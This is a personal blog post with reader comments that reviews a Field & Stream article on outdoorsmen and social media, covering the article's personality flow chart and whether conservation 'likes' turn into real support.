"WARC-Concurrent-To": "<urn:uuid:dac7cd21-9d5f-43ac-99e7-1c993a119fba>",
"WARC-Date": "2016-06-29T02:22:32Z",
"WARC-IP-Address": "151.101.129.69",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:TZGEYBBFBX5TRX7C52XI3MUFLZJX4KXW",
"WARC-Record-ID": "<urn:uuid:04c30692-a954-4572-8d24-0cb6ae18dc66>",
"WARC-Target-URI": "http://serverfault.com/questions/246301/how-to-dns-forward-to-deep-link-asp-net-site",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:f8c66801-df5a-4353-b2de-80fa700a59df>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-164-35-72.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-26\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for June 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
124,
125,
133,
154,
186,
210,
265,
266,
349,
350,
410,
411,
438,
439,
488,
489,
545,
546,
657,
658,
747,
748,
807,
808,
851,
852,
940,
941,
949,
950,
978,
1007,
1008,
1279,
1280,
1306,
1311,
1372,
1373,
1671,
1672,
1698,
1699,
1711,
1712,
1714,
1722,
1723,
1801,
1802
],
"line_end_idx": [
124,
125,
133,
154,
186,
210,
265,
266,
349,
350,
410,
411,
438,
439,
488,
489,
545,
546,
657,
658,
747,
748,
807,
808,
851,
852,
940,
941,
949,
950,
978,
1007,
1008,
1279,
1280,
1306,
1311,
1372,
1373,
1671,
1672,
1698,
1699,
1711,
1712,
1714,
1722,
1723,
1801,
1802,
1892
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1892,
"ccnet_original_nlines": 50,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.37387385964393616,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04954954981803894,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.22297297418117523,
"rps_doc_frac_unique_words": 0.5498392581939697,
"rps_doc_mean_word_length": 4.672025680541992,
"rps_doc_num_sentences": 52,
"rps_doc_symbol_to_word_ratio": 0.0045044999569654465,
"rps_doc_unigram_entropy": 4.819694995880127,
"rps_doc_word_count": 311,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.033035099506378174,
"rps_doc_frac_chars_top_3gram": 0.016517549753189087,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -198.99732971191406,
"rps_doc_books_importance_length_correction": -198.99655151367188,
"rps_doc_openwebtext_importance": -113.80331420898438,
"rps_doc_openwebtext_importance_length_correction": -113.80331420898438,
"rps_doc_wikipedia_importance": -65.45738983154297,
"rps_doc_wikipedia_importance_length_correction": -65.45738983154297
},
"fasttext": {
"dclm": 0.5757250785827637,
"english": 0.9093405604362488,
"fineweb_edu_approx": 1.3397307395935059,
"eai_general_math": 0.00037640001391991973,
"eai_open_web_math": 0.12396901845932007,
"eai_web_code": 0.000035519999073585495
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-2,513,833,766,365,078,500 | Your Computer Problems Solved
Clever ideas, smart cheats, and easy fixes
By Philip Friedman
Keep your computer clean
Special Offers
Ah, the wonders of technology — from word processing to Web searching, computers have forever changed how we get things done. Less awe-inspiring: when software takes forever to load and cables and cords put a choke hold on your desk. Read on for simple (no, really!) fixes for these glitches and others
1. Organize Your Desktop
Clutter on a computer desktop actually slows down performance
Don't save unneeded files there. Take a second to put them into a hard-drive folder; a basic My Photos or My Documents label is fine.
2. Speed Up Your Unit
Does waiting out that little hourglass seem like it takes, well, hours? Try this:
• "Defragment" your hard drive. As you save or modify files on a Windows-based PC, pieces are stored in different locations on the hard drive, so it takes the computer longer to reassemble them when you access the files. To fix, set the Disk Defragmenter (in the System Tools folder) to run once a week. (Note: Macs seldom get slowed down by fragmented files.)
• Empty your Recycling Bin or Trash. On both PCs and Macs, these are temporary holding areas — you have to delete their contents in order to free up space on your disk.
• Exit out of programs you're not using; don't just minimize their windows. Otherwise, you may not realize some are running in the background. On a PC, look at the screen's lower right-hand corner for the small icons. On a Mac, check for any icons in the Dock with a tiny spotlight near them.
3. Boost Web Power
Lagging load times may not be caused by a slow connection. Solutions:
• Upgrade the browser. Go to whatbrowser.org to see if you're running the latest version of yours, or try Google Chrome, which GHRI found loaded pages 50% faster than others.
• Reduce your Web page history. Your browser stores visited sites automatically. In its preferences, set the history to clear every week.
4. Don't Lose Anything
Thirty percent of people don't back up files — and every three seconds, someone's hard drive fails. You could get an external drive, or rely on the "cloud": virtual backup on a website that uses multiple servers, so your data is safe in case of crashes. Set up an account on a site like sugarsync.com or dropbox.com for a low fee (from $5 a month).
5. Keep It All Clean
The Oxo Good Grips Electronics Cleaning Brush ($5, oxo.com has a retractable tip that gets into tight spaces. Also nab a microfiber cloth for dusting the screen and other surfaces — Toddy's cute cloths ($15, toddygear.com; are reversible for different uses. Don't forget electronics wipes for the mouse.
Next: Learn how to tame those computer cords!
Latest Stories
Advertisement
Special Offers | {
"url": "http://www.goodhousekeeping.com/home/cleaning-organizing/solve-computer-problems?src=shelter_footer",
"source_domain": "www.goodhousekeeping.com",
"snapshot_id": "crawl=CC-MAIN-2014-49",
"warc_metadata": {
"Content-Length": "178256",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:BCBLEXR75V742V5SR6SK4J5HDYGABGHP",
"WARC-Concurrent-To": "<urn:uuid:e972d4d8-690f-4d30-8157-81b1dae193c9>",
"WARC-Date": "2014-11-26T15:27:16Z",
"WARC-IP-Address": "184.29.104.227",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:YBJMR42OS67XK35VPFXCDDPNP2VF6WLH",
"WARC-Record-ID": "<urn:uuid:5a99753a-cb41-493a-b638-1fd5e74370c3>",
"WARC-Target-URI": "http://www.goodhousekeeping.com/home/cleaning-organizing/solve-computer-problems?src=shelter_footer",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:7234564f-1307-44b2-a352-fd8492e5eb67>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-235-23-156.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-49\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for November 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
30,
31,
74,
75,
94,
119,
120,
135,
136,
439,
440,
465,
466,
528,
529,
663,
664,
686,
687,
769,
770,
1133,
1304,
1599,
1600,
1619,
1620,
1690,
1691,
1868,
2008,
2009,
2032,
2033,
2382,
2383,
2384,
2405,
2406,
2710,
2711,
2757,
2758,
2759,
2774,
2775,
2789,
2790
],
"line_end_idx": [
30,
31,
74,
75,
94,
119,
120,
135,
136,
439,
440,
465,
466,
528,
529,
663,
664,
686,
687,
769,
770,
1133,
1304,
1599,
1600,
1619,
1620,
1690,
1691,
1868,
2008,
2009,
2032,
2033,
2382,
2383,
2384,
2405,
2406,
2710,
2711,
2757,
2758,
2759,
2774,
2775,
2789,
2790,
2804
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2804,
"ccnet_original_nlines": 48,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3478260934352875,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.005016719922423363,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.19063544273376465,
"rps_doc_frac_unique_words": 0.6086956262588501,
"rps_doc_mean_word_length": 4.527950286865234,
"rps_doc_num_sentences": 40,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.345024108886719,
"rps_doc_word_count": 483,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.008230449631810188,
"rps_doc_frac_chars_top_3gram": 0,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -266.278564453125,
"rps_doc_books_importance_length_correction": -266.278564453125,
"rps_doc_openwebtext_importance": -150.60374450683594,
"rps_doc_openwebtext_importance_length_correction": -150.60374450683594,
"rps_doc_wikipedia_importance": -107.09540557861328,
"rps_doc_wikipedia_importance_length_correction": -107.09540557861328
},
"fasttext": {
"dclm": 0.07421320676803589,
"english": 0.9045186042785645,
"fineweb_edu_approx": 2.3991951942443848,
"eai_general_math": 0.031096400693058968,
"eai_open_web_math": 0.20810657739639282,
"eai_web_code": 0.002829310018569231
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.456",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
4,756,576,446,838,916,000 | Join Command
Discussion in 'Archived: Plugin Requests' started by puppy3276, Feb 10, 2013.
1. Offline
puppy3276
Plugin category: Administration
Suggested name: Join Command
What I want: I want a plugin that would run a commands when a player joins the server. It would also run a different set of commands on first join.
Ideas for commands: No commands needed for this plugin.
Ideas for permissions: joincommand.bypass
When I'd like it by: As soon as possible
2. Offline
JellybeanPrince
SO, you want a plugin that whenever a player joins the server, it runs a command, and when it is there first time, it is a different set of commands, correct?
Also, would you like these to be configurable, or the same every time? I can do it either way.
3. Offline
Woobie
Share This Page | {
"url": "https://dl.bukkit.org/threads/join-command.128552/",
"source_domain": "dl.bukkit.org",
"snapshot_id": "crawl=CC-MAIN-2021-04",
"warc_metadata": {
"Content-Length": "32086",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:A2WYGYFFHDYFVTS5GVRHPZCRAKLKQEJE",
"WARC-Concurrent-To": "<urn:uuid:3cec1ee9-4a38-4ee0-aef2-e3f80c56cce3>",
"WARC-Date": "2021-01-18T20:20:15Z",
"WARC-IP-Address": "104.19.163.33",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:HR5WSSZQPKLB5FFLB3ZAASNSG4D5GPT2",
"WARC-Record-ID": "<urn:uuid:314550bf-a891-4336-b954-4229f64ee9e0>",
"WARC-Target-URI": "https://dl.bukkit.org/threads/join-command.128552/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:2d2d3df7-89c8-4a72-9d69-376080938a75>"
},
"warc_info": "isPartOf: CC-MAIN-2021-04\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-12.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
13,
14,
92,
93,
106,
107,
121,
122,
158,
159,
192,
193,
345,
346,
406,
407,
453,
454,
499,
505,
518,
519,
539,
540,
703,
704,
803,
809,
822,
823,
834,
835
],
"line_end_idx": [
13,
14,
92,
93,
106,
107,
121,
122,
158,
159,
192,
193,
345,
346,
406,
407,
453,
454,
499,
505,
518,
519,
539,
540,
703,
704,
803,
809,
822,
823,
834,
835,
850
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 850,
"ccnet_original_nlines": 32,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.39156627655029297,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.030120480805635452,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.21084336936473846,
"rps_doc_frac_unique_words": 0.5746268630027771,
"rps_doc_mean_word_length": 4.559701442718506,
"rps_doc_num_sentences": 12,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.155432224273682,
"rps_doc_word_count": 134,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.15057283639907837,
"rps_doc_frac_chars_dupe_6grams": 0.07528641819953918,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.03600655123591423,
"rps_doc_frac_chars_top_3gram": 0.03600655123591423,
"rps_doc_frac_chars_top_4gram": 0.049099840223789215,
"rps_doc_books_importance": -77.88969421386719,
"rps_doc_books_importance_length_correction": -77.88969421386719,
"rps_doc_openwebtext_importance": -39.77241897583008,
"rps_doc_openwebtext_importance_length_correction": -36.95547866821289,
"rps_doc_wikipedia_importance": -26.316423416137695,
"rps_doc_wikipedia_importance_length_correction": -26.316423416137695
},
"fasttext": {
"dclm": 0.07001280784606934,
"english": 0.9435179829597473,
"fineweb_edu_approx": 1.602328896522522,
"eai_general_math": 0.018704770132899284,
"eai_open_web_math": 0.610091507434845,
"eai_web_code": 0.0005139699787832797
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.467",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-1,815,087,440,780,399,400 | Search results
1. X
Stranded Deep Trainer
I can vouch for the latest version of the game working on 64Bit. Also I'm not even having issues with F10. If you wait till you use item a bit then hit F10 it works perfectly, or least it is for me. I am running Windows 8.1 Pro 64Bit right now.
2. X
Why I won’t upgrade Windows 7 to Windows 10 (but Windows 8)Someones Opinion
I personally wish they had just stuck with Windows XP, then again after some work fixing Windows 7 I liked it as well. Will I upgrade to 10? Its possible, but it will not be until its worked out most of its bugs & glitches but knowing Microsoft they will just abandon it like all the others each...
3. X
Can't run Trainers! help ASAP
I was going to say screen shots go a long way when asking for help.
4. X
steam refunds
I know for a fact this isn't true... I have had a few games I hated, and tried to get removed from my account which is why I have more then 250+ games that I never play most of which I paid full price for. Some things they will refund, but not all, and not for just any reason.
5. X
Helpppppp my use trainer singlepalyer
My advice would be to avoid using trainers or hex editors in any VAC related games. Then your pretty much worry free unless you trying to cheat in mutiplayer games, then you risk being banned by those game servers & companies.
6. X
guide trainer use anti ban single player
Bro there is no way to be banned from using trainers from here or any where else unless your using multiplayer trainers or game mods not allowed by steam. I use CheatEngine, and T Search quite often with Steam & have never had any issues with them. Been with steam since 2007, and I am a cheating...
7. X
Can anyone help me with my minecraft?
Sta2109, I think that Kalas is trying to say they do not offer such help here for anything other then the game trainers they offer here. Might be wise, not to follow this out any further. SuperMan003, You can post any concerns or questions you have on the Minecraft site at the following...
8. X
Odd... Not sure if it's me or not.
What game trainers have you tried to unzip? Tell me so I can go download them, and tell you if I get the same errors. If not its a system issue, not a trainer issue. Also if you could be nice enough to post a screen shot of the errors your getting when you try to extract them. I suggest...
9. X
Trainers kill my PC ;(
Its is highly unlikely you got the problems from any of the trainers on this site. Its more likely that you have clicked bad links on other sites, you surf to many **** sites, or you got something from an email. I have used quite a few trainers on this site, non of which contain any virues...
10. X
windows 10 just a heads up
Windows 10 from my personal experience with it sucks! I hate it more then 8, & 8.1. I have the free version of it which was released to the public as Windows 10 Enterprise Edition 64Bit. Yes of course when a new OS is released, even more so by Microsoft it sucks at life! Windows 10 is another...
Top | {
"url": "https://mrantifun.net/search/13095685/",
"source_domain": "mrantifun.net",
"snapshot_id": "CC-MAIN-2024-26",
"warc_metadata": {
"Content-Length": "37172",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:CUQR5YHYQZTTPUHAALKENUU2PNF7DX53",
"WARC-Concurrent-To": "<urn:uuid:8075b5f4-cea7-4e6e-8314-eb46d872d2d6>",
"WARC-Date": "2024-06-25T08:23:12Z",
"WARC-IP-Address": "104.21.96.100",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:QHFQG22GGQQB5UGTNQS2FISNILX64NJW",
"WARC-Record-ID": "<urn:uuid:e5f95ac9-0757-4847-8013-7c83f10fabf3>",
"WARC-Target-URI": "https://mrantifun.net/search/13095685/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:3a3a4ea6-cfaa-42f6-825a-a03945a3ace8>"
},
"warc_info": "isPartOf: CC-MAIN-2024-26\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-185\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
15,
16,
23,
24,
50,
51,
300,
307,
308,
388,
389,
692,
699,
700,
734,
735,
807,
814,
815,
833,
834,
1116,
1123,
1124,
1166,
1167,
1398,
1405,
1406,
1451,
1452,
1756,
1763,
1764,
1806,
1807,
2102,
2109,
2110,
2149,
2150,
2445,
2452,
2453,
2480,
2481,
2779,
2787,
2788,
2819,
2820,
3121
],
"line_end_idx": [
15,
16,
23,
24,
50,
51,
300,
307,
308,
388,
389,
692,
699,
700,
734,
735,
807,
814,
815,
833,
834,
1116,
1123,
1124,
1166,
1167,
1398,
1405,
1406,
1451,
1452,
1756,
1763,
1764,
1806,
1807,
2102,
2109,
2110,
2149,
2150,
2445,
2452,
2453,
2480,
2481,
2779,
2787,
2788,
2819,
2820,
3121,
3124
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3124,
"ccnet_original_nlines": 52,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 2,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.48964497447013855,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.060650888830423355,
"rps_doc_frac_lines_end_with_ellipsis": 0.11320754885673523,
"rps_doc_frac_no_alph_words": 0.1582840234041214,
"rps_doc_frac_unique_words": 0.4633730947971344,
"rps_doc_mean_word_length": 3.936967611312866,
"rps_doc_num_sentences": 49,
"rps_doc_symbol_to_word_ratio": 0.011834319680929184,
"rps_doc_unigram_entropy": 5.189614295959473,
"rps_doc_word_count": 587,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.019472090527415276,
"rps_doc_frac_chars_top_3gram": 0.012115970253944397,
"rps_doc_frac_chars_top_4gram": 0.015577670186758041,
"rps_doc_books_importance": -309.552734375,
"rps_doc_books_importance_length_correction": -309.552734375,
"rps_doc_openwebtext_importance": -161.05955505371094,
"rps_doc_openwebtext_importance_length_correction": -161.05955505371094,
"rps_doc_wikipedia_importance": -142.1919708251953,
"rps_doc_wikipedia_importance_length_correction": -142.1919708251953
},
"fasttext": {
"dclm": 0.03822296857833862,
"english": 0.9589949250221252,
"fineweb_edu_approx": 0.9015761613845825,
"eai_general_math": 0.13605237007141113,
"eai_open_web_math": 0.17092347145080566,
"eai_web_code": 0.024663329124450684
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.456",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "5",
"label": "Comment Section"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
105,678,100,269,778,660 | F&S - The Outdoorsman's Guide To Social Media
Have you read the article in Field & Stream, The Outdoorsman's Guide To Social Media?
If not, take 5 minutes and read it, and come on back.
It's not that long. I'll wait....
.............................................
.......................................................
..........................................
OK, are you back? So what do you think about it?
The Flow Chart
The middle section of this article, "What Kind of Social Media Outdoorsman Are You?" was probably the article's highlight. I think the author nailed the four primary characterizations of a social media user...although there probably could have been one or two more added to the mix...such as the "Oblivious Narcissist"... Umm, guilty as charged.
The flow chart pointed out that I'm an "Addict," which probably isn't too far off. While I try to be a "Buddy," I definitely like technology and goofing around on social media. I don't think I'm guilty of Instagramming my entire day or speaking purely in Twitter hashtags, but I've been known to do both. It was my answer to the hashtag filled sentence that actually sealed my fate in this exercise.
Fortunately, when out on the water or walking a trail, my phone/camera largely goes unused, maybe only to snap a quick pic of caught fish or two. And liking, texting, or tweeting aren't even a thought.
Oh heck, who am I kidding. I'm an addict. The first step to recovery is admission...although I don't see it getting "better" anytime soon. I'm too vain to not think that everyone wants to see the awesomeness that I'm up to...
I'd be curious to know what kind of social media outdoorsman you were identified as. If you're reading this, my guess is either an "Addict" or "Buddy," but I'm sure there are also some "High-Fence Hecklers" out there too.
My Two Cents
This article had good intentions but was damn tough on the eyes. It had very little structure which made it a bit confusing and a choppy read. I thought the first 3 sections about Trolls, Causes, Poachers were somewhat on point, but they just didn't really transition well from the introductory paragraph. I suppose they were examples of how social media can "promote and protect the outdoors." By the way, I hope this critique doesn't make me a "High-Fence Heckler," because I really did enjoy the piece...wouldn't have written about it if I didn't.
I will say that I somewhat wonder the impact Social Media has from a cause standpoint. When a group like Trout Unlimited posts something on Facebook about Saving Bristol Bay or Stopping Fracking in the Northeast, do they get anything tangible out of it other than some Likes? I've always viewed Likes as a passive interaction...not even an indication of increased awareness. It'd be interesting to see some statistics relating "call to action" social posts back to actual monetary donations, or even better, man hours donated.
What say you?
Comments
1. I fall into the "The Anti-socialist" group. You know I don't Facebook, Twitter, or Instasomething. I don't even have a cell phone. I take that back, I have a Tracfone from Walmart just in case I need to make a call while I'm out somewhere. I turn it on, call, and turn it off. I guess I'm just old. Geezers Unite.
ReplyDelete
Replies
1. Ha. I need to be more like you in that regard.
Delete
2. I'm a "high fence buddy." ( Sorry, there wasn't a definitive flow chart conclusion called "Makes his own Rules about Stereotypes. :) ) - as for monetary donations being worth more than likes, you're absolutely right - and the way Facebook is going now, a like means virtually nothing. All that said, ( and back to money) if you're using 50% of your donations to fund things other than what you're supposed to be funding, I'm not sure X organization should exist as a "non-profit." I think some organizations ( conservation or otherwise ) simply need to find more and more emotional givers as their memberships change faster than a summer work force at the local McDonalds. In that light - you are absolutely right that man-hours or some other form of donation probably goes alot further than sending in $25 or $30 a year.
ReplyDelete
Replies
1. You are a high fence buddy... I definitely think not everyone will fit neatly in the 4 buckets of characterizations noted. There could probably be 8 or 10, but at some point that's overkill.
Delete
3. Replies
1. #WhoEvaShockey?
I didn't even touch on her part of the article. I like her point of view on social though, especially when it comes to trolls.
#AndYesSheIsPretty
Delete
4. I'm sure I need to read that article...but honestly, it didn't have a picture of a fish on it...so I'll just have to take your word!!
ReplyDelete
